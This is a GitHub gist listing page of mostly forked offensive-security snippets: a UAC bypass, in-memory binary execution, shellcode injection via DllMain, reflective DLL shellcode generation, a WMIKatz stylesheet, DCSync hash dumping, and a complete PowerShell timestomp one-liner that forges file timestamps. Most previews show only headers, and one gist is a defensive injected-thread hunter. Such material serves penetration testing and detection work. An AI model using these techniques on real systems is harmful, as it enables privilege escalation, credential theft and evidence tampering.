ahhh’s gists

ahhh / go-sharp-loader.go

Created August 5, 2020 21:20 — forked from ropnop/go-sharp-loader.go

Example Go file embedding multiple .NET executables

	package main

	/*
	Example Go program with multiple .NET Binaries embedded

	This requires packr (https://github.com/gobuffalo/packr) and the utility. Install with:
	$ go get -u github.com/gobuffalo/packr/packr

	Place all your EXEs are in a "binaries" folder

ahhh / invokeInMemLinux.go

Created July 19, 2020 21:22 — forked from capnspacehook/invokeInMemLinux.go

Executes a binary or file in memory on a Linux system. Uses the memfd_create(2) syscall. Credits and idea from: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html



	package main

	import (
	"io/ioutil"
	"os"
	"os/exec"
	"strconv"
	"syscall"

ahhh / bypass_uac.ps1

Created September 27, 2019 21:50 — forked from tyranid/bypass_uac.ps1

	# Powershell script to bypass UAC on Vista+ assuming
	# there exists one elevated process on the same desktop.
	# Technical details in:
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
	# You need to Install-Module NtObjectManager for this to run.

	Import-Module NtObjectManager

ahhh / gist:7643cd8705697a4b5302edad1b41ee37

Created September 12, 2019 20:29 — forked from obscuresec/gist:7b0cf71d7a8dd5e7b54c

PowerShell TimeStomp

PowerShell.exe -com {$file=(gi c:\demo\test.txt);$date='01/03/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}

ahhh / DllMainThread.c

Created June 20, 2019 18:59 — forked from securitytube/DllMainThread.c

Launch Shellcode as a Thread via DllMain rather than a new process

	// Dll Hijacking via Thread Creation
	// Author - Vivek Ramachandran
	// Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com
	// Free Infosec Videos -- http://SecurityTube.net



	#include <windows.h>
	#define SHELLCODELEN 2048

ahhh / gethelp.cs

Created May 13, 2019 15:13

Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

ahhh / ShellcodeRDI.go

Created February 13, 2019 03:23 — forked from leoloobeek/ShellcodeRDI.go

Go implementation of https://github.com/monoxgas/sRDI/

	package main

	/*
	*
	* This is just a Go implementation of https://github.com/monoxgas/sRDI/
	* Useful if you're trying to generate shellcode for reflective DLL
	* injection in Go, otherwise probably not much use :)
	*
	* The project, shellcode, most comments within this project
	* are all from the original project by @SilentBreakSec's Nick Landers (@monoxgas)

ahhh / gist:efc2814fadba4d684c73ba6f09852df6

Created April 28, 2018 09:57

WMIKatz - Are you afraid

This file has been truncated, but you can view the full file.

	<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
	<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->

	<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
	<xsl:strip-space elements="*" />

	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[

ahhh / Invoke-DCSync.ps1

Created March 20, 2018 22:05 — forked from HarmJ0y/Invoke-DCSync.ps1

What more could you want?

This file has been truncated, but you can view the full file.

	function Invoke-DCSync
	{
	<#
	.SYNOPSIS

	Uses dcsync from mimikatz to collect NTLM hashes from the domain.

	Author: @monoxgas

	Invoke-ReflectivePEInjection

ahhh / Get-InjectedThread.ps1

Created February 9, 2018 17:37 — forked from jaredcatkinson/Get-InjectedThread.ps1

Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION

Dan Borges ahhh